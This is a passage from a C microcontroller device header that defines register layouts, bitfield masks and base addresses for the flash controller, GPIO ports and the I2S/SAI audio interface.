#define FTFA_FSTAT_CCIF(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSTAT_CCIF_SHIFT)) & FTFA_FSTAT_CCIF_MASK)
/*! @name FCNFG - Flash Configuration Register */
#define FTFA_FCNFG_ERSSUSP_MASK (0x10U)
#define FTFA_FCNFG_ERSSUSP_SHIFT (4U)
#define FTFA_FCNFG_ERSSUSP(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCNFG_ERSSUSP_SHIFT)) & FTFA_FCNFG_ERSSUSP_MASK)
#define FTFA_FCNFG_ERSAREQ_MASK (0x20U)
#define FTFA_FCNFG_ERSAREQ_SHIFT (5U)
#define FTFA_FCNFG_ERSAREQ(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCNFG_ERSAREQ_SHIFT)) & FTFA_FCNFG_ERSAREQ_MASK)
#define FTFA_FCNFG_RDCOLLIE_MASK (0x40U)
#define FTFA_FCNFG_RDCOLLIE_SHIFT (6U)
#define FTFA_FCNFG_RDCOLLIE(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCNFG_RDCOLLIE_SHIFT)) & FTFA_FCNFG_RDCOLLIE_MASK)
#define FTFA_FCNFG_CCIE_MASK (0x80U)
#define FTFA_FCNFG_CCIE_SHIFT (7U)
#define FTFA_FCNFG_CCIE(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCNFG_CCIE_SHIFT)) & FTFA_FCNFG_CCIE_MASK)
/*! @name FSEC - Flash Security Register */
#define FTFA_FSEC_SEC_MASK (0x3U)
#define FTFA_FSEC_SEC_SHIFT (0U)
#define FTFA_FSEC_SEC(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSEC_SEC_SHIFT)) & FTFA_FSEC_SEC_MASK)
#define FTFA_FSEC_FSLACC_MASK (0xCU)
#define FTFA_FSEC_FSLACC_SHIFT (2U)
#define FTFA_FSEC_FSLACC(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSEC_FSLACC_SHIFT)) & FTFA_FSEC_FSLACC_MASK)
#define FTFA_FSEC_MEEN_MASK (0x30U)
#define FTFA_FSEC_MEEN_SHIFT (4U)
#define FTFA_FSEC_MEEN(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSEC_MEEN_SHIFT)) & FTFA_FSEC_MEEN_MASK)
#define FTFA_FSEC_KEYEN_MASK (0xC0U)
#define FTFA_FSEC_KEYEN_SHIFT (6U)
#define FTFA_FSEC_KEYEN(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FSEC_KEYEN_SHIFT)) & FTFA_FSEC_KEYEN_MASK)
/*! @name FOPT - Flash Option Register */
#define FTFA_FOPT_OPT_MASK (0xFFU)
#define FTFA_FOPT_OPT_SHIFT (0U)
#define FTFA_FOPT_OPT(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FOPT_OPT_SHIFT)) & FTFA_FOPT_OPT_MASK)
/*! @name FCCOB3 - Flash Common Command Object Registers */
#define FTFA_FCCOB3_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB3_CCOBn_SHIFT (0U)
#define FTFA_FCCOB3_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB3_CCOBn_SHIFT)) & FTFA_FCCOB3_CCOBn_MASK)
/*! @name FCCOB2 - Flash Common Command Object Registers */
#define FTFA_FCCOB2_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB2_CCOBn_SHIFT (0U)
#define FTFA_FCCOB2_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB2_CCOBn_SHIFT)) & FTFA_FCCOB2_CCOBn_MASK)
/*! @name FCCOB1 - Flash Common Command Object Registers */
#define FTFA_FCCOB1_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB1_CCOBn_SHIFT (0U)
#define FTFA_FCCOB1_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB1_CCOBn_SHIFT)) & FTFA_FCCOB1_CCOBn_MASK)
/*! @name FCCOB0 - Flash Common Command Object Registers */
#define FTFA_FCCOB0_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB0_CCOBn_SHIFT (0U)
#define FTFA_FCCOB0_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB0_CCOBn_SHIFT)) & FTFA_FCCOB0_CCOBn_MASK)
/*! @name FCCOB7 - Flash Common Command Object Registers */
#define FTFA_FCCOB7_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB7_CCOBn_SHIFT (0U)
#define FTFA_FCCOB7_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB7_CCOBn_SHIFT)) & FTFA_FCCOB7_CCOBn_MASK)
/*! @name FCCOB6 - Flash Common Command Object Registers */
#define FTFA_FCCOB6_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB6_CCOBn_SHIFT (0U)
#define FTFA_FCCOB6_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB6_CCOBn_SHIFT)) & FTFA_FCCOB6_CCOBn_MASK)
/*! @name FCCOB5 - Flash Common Command Object Registers */
#define FTFA_FCCOB5_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB5_CCOBn_SHIFT (0U)
#define FTFA_FCCOB5_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB5_CCOBn_SHIFT)) & FTFA_FCCOB5_CCOBn_MASK)
/*! @name FCCOB4 - Flash Common Command Object Registers */
#define FTFA_FCCOB4_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB4_CCOBn_SHIFT (0U)
#define FTFA_FCCOB4_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB4_CCOBn_SHIFT)) & FTFA_FCCOB4_CCOBn_MASK)
/*! @name FCCOBB - Flash Common Command Object Registers */
#define FTFA_FCCOBB_CCOBn_MASK (0xFFU)
#define FTFA_FCCOBB_CCOBn_SHIFT (0U)
#define FTFA_FCCOBB_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOBB_CCOBn_SHIFT)) & FTFA_FCCOBB_CCOBn_MASK)
/*! @name FCCOBA - Flash Common Command Object Registers */
#define FTFA_FCCOBA_CCOBn_MASK (0xFFU)
#define FTFA_FCCOBA_CCOBn_SHIFT (0U)
#define FTFA_FCCOBA_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOBA_CCOBn_SHIFT)) & FTFA_FCCOBA_CCOBn_MASK)
/*! @name FCCOB9 - Flash Common Command Object Registers */
#define FTFA_FCCOB9_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB9_CCOBn_SHIFT (0U)
#define FTFA_FCCOB9_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB9_CCOBn_SHIFT)) & FTFA_FCCOB9_CCOBn_MASK)
/*! @name FCCOB8 - Flash Common Command Object Registers */
#define FTFA_FCCOB8_CCOBn_MASK (0xFFU)
#define FTFA_FCCOB8_CCOBn_SHIFT (0U)
#define FTFA_FCCOB8_CCOBn(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FCCOB8_CCOBn_SHIFT)) & FTFA_FCCOB8_CCOBn_MASK)
/*! @name FPROT3 - Program Flash Protection Registers */
#define FTFA_FPROT3_PROT_MASK (0xFFU)
#define FTFA_FPROT3_PROT_SHIFT (0U)
#define FTFA_FPROT3_PROT(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FPROT3_PROT_SHIFT)) & FTFA_FPROT3_PROT_MASK)
/*! @name FPROT2 - Program Flash Protection Registers */
#define FTFA_FPROT2_PROT_MASK (0xFFU)
#define FTFA_FPROT2_PROT_SHIFT (0U)
#define FTFA_FPROT2_PROT(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FPROT2_PROT_SHIFT)) & FTFA_FPROT2_PROT_MASK)
/*! @name FPROT1 - Program Flash Protection Registers */
#define FTFA_FPROT1_PROT_MASK (0xFFU)
#define FTFA_FPROT1_PROT_SHIFT (0U)
#define FTFA_FPROT1_PROT(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FPROT1_PROT_SHIFT)) & FTFA_FPROT1_PROT_MASK)
/*! @name FPROT0 - Program Flash Protection Registers */
#define FTFA_FPROT0_PROT_MASK (0xFFU)
#define FTFA_FPROT0_PROT_SHIFT (0U)
#define FTFA_FPROT0_PROT(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FPROT0_PROT_SHIFT)) & FTFA_FPROT0_PROT_MASK)
/*! @name XACCH3 - Execute-only Access Registers */
#define FTFA_XACCH3_XA_MASK (0xFFU)
#define FTFA_XACCH3_XA_SHIFT (0U)
#define FTFA_XACCH3_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCH3_XA_SHIFT)) & FTFA_XACCH3_XA_MASK)
/*! @name XACCH2 - Execute-only Access Registers */
#define FTFA_XACCH2_XA_MASK (0xFFU)
#define FTFA_XACCH2_XA_SHIFT (0U)
#define FTFA_XACCH2_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCH2_XA_SHIFT)) & FTFA_XACCH2_XA_MASK)
/*! @name XACCH1 - Execute-only Access Registers */
#define FTFA_XACCH1_XA_MASK (0xFFU)
#define FTFA_XACCH1_XA_SHIFT (0U)
#define FTFA_XACCH1_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCH1_XA_SHIFT)) & FTFA_XACCH1_XA_MASK)
/*! @name XACCH0 - Execute-only Access Registers */
#define FTFA_XACCH0_XA_MASK (0xFFU)
#define FTFA_XACCH0_XA_SHIFT (0U)
#define FTFA_XACCH0_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCH0_XA_SHIFT)) & FTFA_XACCH0_XA_MASK)
/*! @name XACCL3 - Execute-only Access Registers */
#define FTFA_XACCL3_XA_MASK (0xFFU)
#define FTFA_XACCL3_XA_SHIFT (0U)
#define FTFA_XACCL3_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCL3_XA_SHIFT)) & FTFA_XACCL3_XA_MASK)
/*! @name XACCL2 - Execute-only Access Registers */
#define FTFA_XACCL2_XA_MASK (0xFFU)
#define FTFA_XACCL2_XA_SHIFT (0U)
#define FTFA_XACCL2_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCL2_XA_SHIFT)) & FTFA_XACCL2_XA_MASK)
/*! @name XACCL1 - Execute-only Access Registers */
#define FTFA_XACCL1_XA_MASK (0xFFU)
#define FTFA_XACCL1_XA_SHIFT (0U)
#define FTFA_XACCL1_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCL1_XA_SHIFT)) & FTFA_XACCL1_XA_MASK)
/*! @name XACCL0 - Execute-only Access Registers */
#define FTFA_XACCL0_XA_MASK (0xFFU)
#define FTFA_XACCL0_XA_SHIFT (0U)
#define FTFA_XACCL0_XA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_XACCL0_XA_SHIFT)) & FTFA_XACCL0_XA_MASK)
/*! @name SACCH3 - Supervisor-only Access Registers */
#define FTFA_SACCH3_SA_MASK (0xFFU)
#define FTFA_SACCH3_SA_SHIFT (0U)
#define FTFA_SACCH3_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCH3_SA_SHIFT)) & FTFA_SACCH3_SA_MASK)
/*! @name SACCH2 - Supervisor-only Access Registers */
#define FTFA_SACCH2_SA_MASK (0xFFU)
#define FTFA_SACCH2_SA_SHIFT (0U)
#define FTFA_SACCH2_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCH2_SA_SHIFT)) & FTFA_SACCH2_SA_MASK)
/*! @name SACCH1 - Supervisor-only Access Registers */
#define FTFA_SACCH1_SA_MASK (0xFFU)
#define FTFA_SACCH1_SA_SHIFT (0U)
#define FTFA_SACCH1_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCH1_SA_SHIFT)) & FTFA_SACCH1_SA_MASK)
/*! @name SACCH0 - Supervisor-only Access Registers */
#define FTFA_SACCH0_SA_MASK (0xFFU)
#define FTFA_SACCH0_SA_SHIFT (0U)
#define FTFA_SACCH0_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCH0_SA_SHIFT)) & FTFA_SACCH0_SA_MASK)
/*! @name SACCL3 - Supervisor-only Access Registers */
#define FTFA_SACCL3_SA_MASK (0xFFU)
#define FTFA_SACCL3_SA_SHIFT (0U)
#define FTFA_SACCL3_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCL3_SA_SHIFT)) & FTFA_SACCL3_SA_MASK)
/*! @name SACCL2 - Supervisor-only Access Registers */
#define FTFA_SACCL2_SA_MASK (0xFFU)
#define FTFA_SACCL2_SA_SHIFT (0U)
#define FTFA_SACCL2_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCL2_SA_SHIFT)) & FTFA_SACCL2_SA_MASK)
/*! @name SACCL1 - Supervisor-only Access Registers */
#define FTFA_SACCL1_SA_MASK (0xFFU)
#define FTFA_SACCL1_SA_SHIFT (0U)
#define FTFA_SACCL1_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCL1_SA_SHIFT)) & FTFA_SACCL1_SA_MASK)
/*! @name SACCL0 - Supervisor-only Access Registers */
#define FTFA_SACCL0_SA_MASK (0xFFU)
#define FTFA_SACCL0_SA_SHIFT (0U)
#define FTFA_SACCL0_SA(x) (((uint8_t)(((uint8_t)(x)) << FTFA_SACCL0_SA_SHIFT)) & FTFA_SACCL0_SA_MASK)
/*! @name FACSS - Flash Access Segment Size Register */
#define FTFA_FACSS_SGSIZE_MASK (0xFFU)
#define FTFA_FACSS_SGSIZE_SHIFT (0U)
#define FTFA_FACSS_SGSIZE(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FACSS_SGSIZE_SHIFT)) & FTFA_FACSS_SGSIZE_MASK)
/*! @name FACSN - Flash Access Segment Number Register */
#define FTFA_FACSN_NUMSG_MASK (0xFFU)
#define FTFA_FACSN_NUMSG_SHIFT (0U)
#define FTFA_FACSN_NUMSG(x) (((uint8_t)(((uint8_t)(x)) << FTFA_FACSN_NUMSG_SHIFT)) & FTFA_FACSN_NUMSG_MASK)
/*!
* @}
*/ /* end of group FTFA_Register_Masks */
/* FTFA - Peripheral instance base addresses */
/** Peripheral FTFA base address */
#define FTFA_BASE (0x40020000u)
/** Peripheral FTFA base pointer */
#define FTFA ((FTFA_Type *)FTFA_BASE)
/** Array initializer of FTFA peripheral base addresses */
#define FTFA_BASE_ADDRS { FTFA_BASE }
/** Array initializer of FTFA peripheral base pointers */
#define FTFA_BASE_PTRS { FTFA }
/** Interrupt vectors for the FTFA peripheral type */
#define FTFA_COMMAND_COMPLETE_IRQS { FTFA_IRQn }
/*!
* @}
*/ /* end of group FTFA_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- GPIO Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup GPIO_Peripheral_Access_Layer GPIO Peripheral Access Layer
* @{
*/
/** GPIO - Register Layout Typedef */
typedef struct {
__IO uint32_t PDOR; /**< Port Data Output Register, offset: 0x0 */
__O uint32_t PSOR; /**< Port Set Output Register, offset: 0x4 */
__O uint32_t PCOR; /**< Port Clear Output Register, offset: 0x8 */
__O uint32_t PTOR; /**< Port Toggle Output Register, offset: 0xC */
__I uint32_t PDIR; /**< Port Data Input Register, offset: 0x10 */
__IO uint32_t PDDR; /**< Port Data Direction Register, offset: 0x14 */
} GPIO_Type;
/* ----------------------------------------------------------------------------
-- GPIO Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup GPIO_Register_Masks GPIO Register Masks
* @{
*/
/*! @name PDOR - Port Data Output Register */
#define GPIO_PDOR_PDO_MASK (0xFFFFFFFFU)
#define GPIO_PDOR_PDO_SHIFT (0U)
#define GPIO_PDOR_PDO(x) (((uint32_t)(((uint32_t)(x)) << GPIO_PDOR_PDO_SHIFT)) & GPIO_PDOR_PDO_MASK)
/*! @name PSOR - Port Set Output Register */
#define GPIO_PSOR_PTSO_MASK (0xFFFFFFFFU)
#define GPIO_PSOR_PTSO_SHIFT (0U)
#define GPIO_PSOR_PTSO(x) (((uint32_t)(((uint32_t)(x)) << GPIO_PSOR_PTSO_SHIFT)) & GPIO_PSOR_PTSO_MASK)
/*! @name PCOR - Port Clear Output Register */
#define GPIO_PCOR_PTCO_MASK (0xFFFFFFFFU)
#define GPIO_PCOR_PTCO_SHIFT (0U)
#define GPIO_PCOR_PTCO(x) (((uint32_t)(((uint32_t)(x)) << GPIO_PCOR_PTCO_SHIFT)) & GPIO_PCOR_PTCO_MASK)
/*! @name PTOR - Port Toggle Output Register */
#define GPIO_PTOR_PTTO_MASK (0xFFFFFFFFU)
#define GPIO_PTOR_PTTO_SHIFT (0U)
#define GPIO_PTOR_PTTO(x) (((uint32_t)(((uint32_t)(x)) << GPIO_PTOR_PTTO_SHIFT)) & GPIO_PTOR_PTTO_MASK)
/*! @name PDIR - Port Data Input Register */
#define GPIO_PDIR_PDI_MASK (0xFFFFFFFFU)
#define GPIO_PDIR_PDI_SHIFT (0U)
#define GPIO_PDIR_PDI(x) (((uint32_t)(((uint32_t)(x)) << GPIO_PDIR_PDI_SHIFT)) & GPIO_PDIR_PDI_MASK)
/*! @name PDDR - Port Data Direction Register */
#define GPIO_PDDR_PDD_MASK (0xFFFFFFFFU)
#define GPIO_PDDR_PDD_SHIFT (0U)
#define GPIO_PDDR_PDD(x) (((uint32_t)(((uint32_t)(x)) << GPIO_PDDR_PDD_SHIFT)) & GPIO_PDDR_PDD_MASK)
/*!
* @}
*/ /* end of group GPIO_Register_Masks */
/* GPIO - Peripheral instance base addresses */
/** Peripheral GPIOA base address */
#define GPIOA_BASE (0x4000F000u)
/** Peripheral GPIOA base pointer */
#define GPIOA ((GPIO_Type *)GPIOA_BASE)
/** Peripheral GPIOB base address */
#define GPIOB_BASE (0x4000F040u)
/** Peripheral GPIOB base pointer */
#define GPIOB ((GPIO_Type *)GPIOB_BASE)
/** Peripheral GPIOC base address */
#define GPIOC_BASE (0x4000F080u)
/** Peripheral GPIOC base pointer */
#define GPIOC ((GPIO_Type *)GPIOC_BASE)
/** Peripheral GPIOD base address */
#define GPIOD_BASE (0x4000F0C0u)
/** Peripheral GPIOD base pointer */
#define GPIOD ((GPIO_Type *)GPIOD_BASE)
/** Peripheral GPIOE base address */
#define GPIOE_BASE (0x4000F100u)
/** Peripheral GPIOE base pointer */
#define GPIOE ((GPIO_Type *)GPIOE_BASE)
/** Peripheral GPIOM base address */
#define GPIOM_BASE (0x4008F000u)
/** Peripheral GPIOM base pointer */
#define GPIOM ((GPIO_Type *)GPIOM_BASE)
/** Array initializer of GPIO peripheral base addresses */
#define GPIO_BASE_ADDRS { GPIOA_BASE, GPIOB_BASE, GPIOC_BASE, GPIOD_BASE, GPIOE_BASE, GPIOM_BASE }
/** Array initializer of GPIO peripheral base pointers */
#define GPIO_BASE_PTRS { GPIOA, GPIOB, GPIOC, GPIOD, GPIOE, GPIOM }
/*!
* @}
*/ /* end of group GPIO_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- I2S Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup I2S_Peripheral_Access_Layer I2S Peripheral Access Layer
* @{
*/
/** I2S - Register Layout Typedef */
typedef struct {
__IO uint32_t TCSR; /**< SAI Transmit Control Register, offset: 0x0 */
__IO uint32_t TCR1; /**< SAI Transmit Configuration 1 Register, offset: 0x4 */
__IO uint32_t TCR2; /**< SAI Transmit Configuration 2 Register, offset: 0x8 */
__IO uint32_t TCR3; /**< SAI Transmit Configuration 3 Register, offset: 0xC */
__IO uint32_t TCR4; /**< SAI Transmit Configuration 4 Register, offset: 0x10 */
__IO uint32_t TCR5; /**< SAI Transmit Configuration 5 Register, offset: 0x14 */
uint8_t RESERVED_0[8];
__O uint32_t TDR[1]; /**< SAI Transmit Data Register, array offset: 0x20, array step: 0x4 */
uint8_t RESERVED_1[28];
__I uint32_t TFR[1]; /**< SAI Transmit FIFO Register, array offset: 0x40, array step: 0x4 */
uint8_t RESERVED_2[28];
__IO uint32_t TMR; /**< SAI Transmit Mask Register, offset: 0x60 */
uint8_t RESERVED_3[28];
__IO uint32_t RCSR; /**< SAI Receive Control Register, offset: 0x80 */
__IO uint32_t RCR1; /**< SAI Receive Configuration 1 Register, offset: 0x84 */
__IO uint32_t RCR2; /**< SAI Receive Configuration 2 Register, offset: 0x88 */
__IO uint32_t RCR3; /**< SAI Receive Configuration 3 Register, offset: 0x8C */
__IO uint32_t RCR4; /**< SAI Receive Configuration 4 Register, offset: 0x90 */
__IO uint32_t RCR5; /**< SAI Receive Configuration 5 Register, offset: 0x94 */
uint8_t RESERVED_4[8];
__I uint32_t RDR[1]; /**< SAI Receive Data Register, array offset: 0xA0, array step: 0x4 */
uint8_t RESERVED_5[28];
__I uint32_t RFR[1]; /**< SAI Receive FIFO Register, array offset: 0xC0, array step: 0x4 */
uint8_t RESERVED_6[28];
__IO uint32_t RMR; /**< SAI Receive Mask Register, offset: 0xE0 */
} I2S_Type;
/* ----------------------------------------------------------------------------
-- I2S Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup I2S_Register_Masks I2S Register Masks
* @{
*/
/*! @name TCSR - SAI Transmit Control Register */
#define I2S_TCSR_FRDE_MASK (0x1U)
#define I2S_TCSR_FRDE_SHIFT (0U)
#define I2S_TCSR_FRDE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FRDE_SHIFT)) & I2S_TCSR_FRDE_MASK)
#define I2S_TCSR_FWDE_MASK (0x2U)
#define I2S_TCSR_FWDE_SHIFT (1U)
#define I2S_TCSR_FWDE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FWDE_SHIFT)) & I2S_TCSR_FWDE_MASK)
#define I2S_TCSR_FRIE_MASK (0x100U)
#define I2S_TCSR_FRIE_SHIFT (8U)
#define I2S_TCSR_FRIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FRIE_SHIFT)) & I2S_TCSR_FRIE_MASK)
#define I2S_TCSR_FWIE_MASK (0x200U)
#define I2S_TCSR_FWIE_SHIFT (9U)
#define I2S_TCSR_FWIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FWIE_SHIFT)) & I2S_TCSR_FWIE_MASK)
#define I2S_TCSR_FEIE_MASK (0x400U)
#define I2S_TCSR_FEIE_SHIFT (10U)
#define I2S_TCSR_FEIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FEIE_SHIFT)) & I2S_TCSR_FEIE_MASK)
#define I2S_TCSR_SEIE_MASK (0x800U)
#define I2S_TCSR_SEIE_SHIFT (11U)
#define I2S_TCSR_SEIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_SEIE_SHIFT)) & I2S_TCSR_SEIE_MASK)
#define I2S_TCSR_WSIE_MASK (0x1000U)
#define I2S_TCSR_WSIE_SHIFT (12U)
#define I2S_TCSR_WSIE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_WSIE_SHIFT)) & I2S_TCSR_WSIE_MASK)
#define I2S_TCSR_FRF_MASK (0x10000U)
#define I2S_TCSR_FRF_SHIFT (16U)
#define I2S_TCSR_FRF(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FRF_SHIFT)) & I2S_TCSR_FRF_MASK)
#define I2S_TCSR_FWF_MASK (0x20000U)
#define I2S_TCSR_FWF_SHIFT (17U)
#define I2S_TCSR_FWF(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FWF_SHIFT)) & I2S_TCSR_FWF_MASK)
#define I2S_TCSR_FEF_MASK (0x40000U)
#define I2S_TCSR_FEF_SHIFT (18U)
#define I2S_TCSR_FEF(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FEF_SHIFT)) & I2S_TCSR_FEF_MASK)
#define I2S_TCSR_SEF_MASK (0x80000U)
#define I2S_TCSR_SEF_SHIFT (19U)
#define I2S_TCSR_SEF(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_SEF_SHIFT)) & I2S_TCSR_SEF_MASK)
#define I2S_TCSR_WSF_MASK (0x100000U)
#define I2S_TCSR_WSF_SHIFT (20U)
#define I2S_TCSR_WSF(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_WSF_SHIFT)) & I2S_TCSR_WSF_MASK)
#define I2S_TCSR_SR_MASK (0x1000000U)
#define I2S_TCSR_SR_SHIFT (24U)
#define I2S_TCSR_SR(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_SR_SHIFT)) & I2S_TCSR_SR_MASK)
#define I2S_TCSR_FR_MASK (0x2000000U)
#define I2S_TCSR_FR_SHIFT (25U)
#define I2S_TCSR_FR(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_FR_SHIFT)) & I2S_TCSR_FR_MASK)
#define I2S_TCSR_BCE_MASK (0x10000000U)
#define I2S_TCSR_BCE_SHIFT (28U)
#define I2S_TCSR_BCE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_BCE_SHIFT)) & I2S_TCSR_BCE_MASK)
#define I2S_TCSR_DBGE_MASK (0x20000000U)
#define I2S_TCSR_DBGE_SHIFT (29U)
#define I2S_TCSR_DBGE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_DBGE_SHIFT)) & I2S_TCSR_DBGE_MASK)
#define I2S_TCSR_STOPE_MASK (0x40000000U)
#define I2S_TCSR_STOPE_SHIFT (30U)
#define I2S_TCSR_STOPE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_STOPE_SHIFT)) & I2S_TCSR_STOPE_MASK)
#define I2S_TCSR_TE_MASK (0x80000000U)
#define I2S_TCSR_TE_SHIFT (31U)
#define I2S_TCSR_TE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCSR_TE_SHIFT)) & I2S_TCSR_TE_MASK)
/*! @name TCR1 - SAI Transmit Configuration 1 Register */
#define I2S_TCR1_TFW_MASK (0x3U)
#define I2S_TCR1_TFW_SHIFT (0U)
#define I2S_TCR1_TFW(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR1_TFW_SHIFT)) & I2S_TCR1_TFW_MASK)
/*! @name TCR2 - SAI Transmit Configuration 2 Register */
#define I2S_TCR2_DIV_MASK (0xFFU)
#define I2S_TCR2_DIV_SHIFT (0U)
#define I2S_TCR2_DIV(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR2_DIV_SHIFT)) & I2S_TCR2_DIV_MASK)
#define I2S_TCR2_BCD_MASK (0x1000000U)
#define I2S_TCR2_BCD_SHIFT (24U)
#define I2S_TCR2_BCD(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR2_BCD_SHIFT)) & I2S_TCR2_BCD_MASK)
#define I2S_TCR2_BCP_MASK (0x2000000U)
#define I2S_TCR2_BCP_SHIFT (25U)
#define I2S_TCR2_BCP(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR2_BCP_SHIFT)) & I2S_TCR2_BCP_MASK)
#define I2S_TCR2_MSEL_MASK (0xC000000U)
#define I2S_TCR2_MSEL_SHIFT (26U)
#define I2S_TCR2_MSEL(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR2_MSEL_SHIFT)) & I2S_TCR2_MSEL_MASK)
#define I2S_TCR2_BCI_MASK (0x10000000U)
#define I2S_TCR2_BCI_SHIFT (28U)
#define I2S_TCR2_BCI(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR2_BCI_SHIFT)) & I2S_TCR2_BCI_MASK)
#define I2S_TCR2_BCS_MASK (0x20000000U)
#define I2S_TCR2_BCS_SHIFT (29U)
#define I2S_TCR2_BCS(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR2_BCS_SHIFT)) & I2S_TCR2_BCS_MASK)
#define I2S_TCR2_SYNC_MASK (0xC0000000U)
#define I2S_TCR2_SYNC_SHIFT (30U)
#define I2S_TCR2_SYNC(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR2_SYNC_SHIFT)) & I2S_TCR2_SYNC_MASK)
/*! @name TCR3 - SAI Transmit Configuration 3 Register */
#define I2S_TCR3_WDFL_MASK (0xFU)
#define I2S_TCR3_WDFL_SHIFT (0U)
#define I2S_TCR3_WDFL(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR3_WDFL_SHIFT)) & I2S_TCR3_WDFL_MASK)
#define I2S_TCR3_TCE_MASK (0x10000U)
#define I2S_TCR3_TCE_SHIFT (16U)
#define I2S_TCR3_TCE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR3_TCE_SHIFT)) & I2S_TCR3_TCE_MASK)
/*! @name TCR4 - SAI Transmit Configuration 4 Register */
#define I2S_TCR4_FSD_MASK (0x1U)
#define I2S_TCR4_FSD_SHIFT (0U)
#define I2S_TCR4_FSD(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_FSD_SHIFT)) & I2S_TCR4_FSD_MASK)
#define I2S_TCR4_FSP_MASK (0x2U)
#define I2S_TCR4_FSP_SHIFT (1U)
#define I2S_TCR4_FSP(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_FSP_SHIFT)) & I2S_TCR4_FSP_MASK)
#define I2S_TCR4_ONDEM_MASK (0x4U)
#define I2S_TCR4_ONDEM_SHIFT (2U)
#define I2S_TCR4_ONDEM(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_ONDEM_SHIFT)) & I2S_TCR4_ONDEM_MASK)
#define I2S_TCR4_FSE_MASK (0x8U)
#define I2S_TCR4_FSE_SHIFT (3U)
#define I2S_TCR4_FSE(x) (((uint32_t)(((uint32_t)(x)) << I2S_TCR4_FSE_SHIFT)) & I2S_TCR4_FSE_MASK)
